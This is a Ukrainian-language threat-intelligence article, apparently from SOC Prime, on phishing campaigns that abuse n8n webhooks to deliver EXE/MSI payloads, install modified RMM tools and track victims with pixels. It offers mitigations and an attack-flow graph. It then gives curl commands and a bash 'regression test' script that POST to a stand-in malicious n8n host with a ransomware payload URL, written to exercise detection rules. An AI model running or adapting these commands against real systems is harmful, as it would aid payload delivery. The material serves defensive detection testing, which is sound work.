Зловмисники зловживають n8n для автоматизації атак на основі штучного інтелекту

Ruslan Mikhalov Керівник досліджень загроз у SOC Prime

Стежити

Зловмисники зловживають n8n для автоматизації атак на основі штучного інтелекту

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

Зловмисники використовують платформу автоматизації без коду n8n, щоб поширювати шкідливі навантаження та профілювати одержувачів електронної пошти. Вбудувавши шкідливі URL-адреси вебхуків у фішингові повідомлення, вони можуть доставляти виконувані файли або інсталятори MSI, які впроваджують інструменти віддаленого доступу на системи жертв. Діяльність також включає використання невидимих пікселів відстеження, які збирають інформацію про жертву, як тільки електронна пошта відкривається. Ця кампанія підкреслює, як легітимний сервіс автоматизації робочого процесу може бути перепрофільований для доставки шкідливого коду без необхідності у викрадених облікових даних.

Розслідування

Cisco Talos проаналізувала серію фішингових кампаній, спостережених з жовтня 2025 по березень 2026 року, які спиралися на URL-адреси вебхуків n8n, вбудовані в повідомлення електронної пошти. Приманки використовували фальшиві посилання OneDrive, які спочатку відображали запит CAPTCHA, перш ніж подати шкідливий .exe або файл MSI. Після виконання, навантаження встановлювало модифіковані версії інструментів управління Datto або ITarian RMM і створювали заплановані завдання для забезпечення стійкості. Talos також виявив активність відбитків через мітки зображень, які зверталися до URL-адрес вебхуків n8n, що містили ідентифікатори, специфічні для жертв.

Пом’якшення

Організації повинні контролювати незвичайний вихідний трафік до доменів, пов’язаних з n8n, з систем, які зазвичай не використовують сервіси автоматизації, та перевіряти на підозрілі шаблони URL вебхуків. URL-адреси, що розв’язуються на невідомі піддомени n8n.cloud , мають бути заблоковані або перевірені в пісочницях перед тим, як користувачам буде дозволено доступ. Контроль безпеки електронної пошти також має бути налаштовано для виявлення шкідливого HTML-контенту, фальшивих потоків CAPTCHA та прихованих пікселів відстеження. Відповідна інформація про індикатори компрометації (IOC), включаючи URL-адреси вебхуків та хеші шкідливих файлів, має бути надана платформам кіберрозвідки та внутрішнім захисникам.

Відповідь

Групи безпеки повинні сповіщати про присутність URL-адрес вебхуків n8n у вмісті електронної пошти або телеметрії мережі та ізолювати будь-які уражені хости, як тільки підозріла діяльність буде підтверджена. Будь-які встановлені інструменти RMM та пов’язані з ними заплановані завдання повинні бути видалені, а потім проведено судову експертизу для виявлення додаткових стійких або наступних навантажень. Політики брандмауера та проксі повинні бути оновлені, щоб обмежити доступ до неавторизованих кінцевих точок n8n. Організації також повинні завершити повний процес обміну індикаторами компрометації між внутрішніми командами та довіреними зовнішніми партнерами.

"graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Вузли action_phishing["Дія – T1566 Фішинг: Зловмисники надсилають шкідливі електронні листи з URL-адресами вебхуків n8n, щоб заманити жертв. Опис: Фішинг намагається доставити шкідливий контент через електронну пошту."] class action_phishing action tool_webhook["Інструмент – Назва: n8n вебхук Опис: Користувацька веб-точка, що використовується для доставки навантажень."] class tool_webhook tool action_user_execution["Дія – T1204.001 Виконання користувачем: Шкідливе посилання: Жертва клацає на посилання вебхука, через що браузер запитує URL-адресу. Опис: Користувач взаємодіє зі шкідливим контентом."] class action_user_execution action action_exfil_webhook1["Дія – T1567.004 Експільтрація через вебхук: Вебхук повертає шкідливу HTML-сторінку з CAPTCHA файл і транслює навантаження (EXE або MSI), обслуговуючи пікселі відстеження. Опис: Використовує веб-службу для доставки та виїмки даних."] class action_exfil_webhook1 action malware_payload_exe["Шкідливе ПО – Назва: Навантаження EXE/MSI Опис: Виконуваний файл, що запускає PowerShell для встановлення модифікованого RMM інструмента."] class malware_payload_exe malware action_powershell["Дія – T1059.001 PowerShell: Завантажений виконуваний файл запускає команди PowerShell для налаштування і встановлення модифікованого RMM інструмента. Опис: Інтерпретатор команд та скриптів."] class action_powershell action malware_rmm["Шкідливе ПО – Назва: Модіфікований RMM бекдор Опис: Інструмент дистанційного моніторингу та управління, що використовується для стійкості."] class malware_rmm malware action_service_execution["Дія – T1569.002 Виконання сервісу: Інструмент RMM встановлюється як сервіс Windows для забезпечення стійкості. Опис: Виконується через системний сервіс."] class action_service_execution action action_scheduled_task["Дія – T1053 Заплановане завдання/робота: Заплановане завдання створюється для забезпечення постійного виконання інструмента RMM. Опис: Забезпечує повторюване виконання."] class action_scheduled_task action action_msi_execution["Дія – T1218.007 Msiexec: Шкідливий MSI виконується через msiexec для розгортання RMM бекдора. Опис: Системна виконання за допомогою бінарного проксі."] class action_msi_execution action action_exfil_webhook2["Дія – T1567.004 Експільтрація через вебхук: Невидимий піксель відстеження завантажує вебхук для захоплення подій відкриття електронної пошти та інформації про пристрій для рекогносцировки."] class action_exfil_webhook2 action %% З’єднання action_phishing –>|постачає| tool_webhook tool_webhook –>|спрацьовує| action_user_execution action_user_execution –>|веде до| action_exfil_webhook1 action_exfil_webhook1 –>|постачає| malware_payload_exe malware_payload_exe –>|виконує| action_powershell action_powershell –>|встановлює| malware_rmm malware_rmm –>|зберігає стійкість за допомогою| action_service_execution action_service_execution –>|створює| action_scheduled_task action_scheduled_task –>|підтримує| action_msi_execution action_msi_execution –>|розгортає| malware_rmm malware_rmm –>|спілкується через| action_exfil_webhook2 "

Потік атаки

Наратив та команди атаки:

Зловмисник купує короткостроковий домен, який вказує на n8n.cloud/webhook. Вони створюють шкідливий робочий процес n8n, який, коли спрацьовує, доставляє навантаження з програмою-вимагачем. Фішинговий електронний лист містить посилання на цільову сторінку з викликом CAPTCHA. Жертва розв’язує CAPTCHA, яку JavaScript зловмисника пересилає як значення CAPTCHA=solved123 в тілі HTTP запиту POST до вебхука. Вебхук відповідає завантажувачем PowerShell, який виконує навантаження. Цей потік створює HTTP-запит, чи URL містить n8n.cloud/webhook and чи його тіло містить рядок CAPTCHA, ідеально відповідаючи правилу Sigma.
```
# Крок 1 – Жертва проходить CAPTCHA (симульоване)
CAPTCHA_TOKEN="solved123"

# Крок 2 – Створення шкідливого POST, який імітує дії жертви
curl -X POST "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
     -H "Content-Type: application/x-www-form-urlencoded" 
     --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
     --data-urlencode "payload_url=https://malicious.example.com/ransomware.exe"
```

Скрипт регресивного тестування:

#!/usr/bin/env bash
set -euo pipefail

# Змінні – відрегулюйте для вашого середовища тестування
WEBHOOK_HOST="my.malicious-n8n.cloud"
WEBHOOK_PATH="/webhook/malicious-workflow"
CAPTCHA_TOKEN="solved123"
PAYLOAD_URL="https://malicious.example.com/ransomware.exe"

echo "[*] Симулюємо зловживання вебхуком n8n через CAPTCHA..."

curl -s -o /dev/null -w "%{http_code}n" -X POST "https://${WEBHOOK_HOST}${WEBHOOK_PATH}" 
     -H "Content-Type: application/x-www-form-urlencoded" 
     --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
     --data-urlencode "payload_url=${PAYLOAD_URL}"

echo "[+] Симулація завершена. Перевірте виявлення в SIEM."

Команди очищення:

# Якщо для тестування був створений реальний вебхук, видаліть його через інтерфейс або API n8n.
# Приклад виклику API (замініть API_KEY та WORKFLOW_ID):
curl -X DELETE "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
     -H "Authorization: Bearer API_KEY"

# Видаліть будь-які тимчасові файли (жодних не створено у цьому скрипті)
echo "[+] Очищення завершено."

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно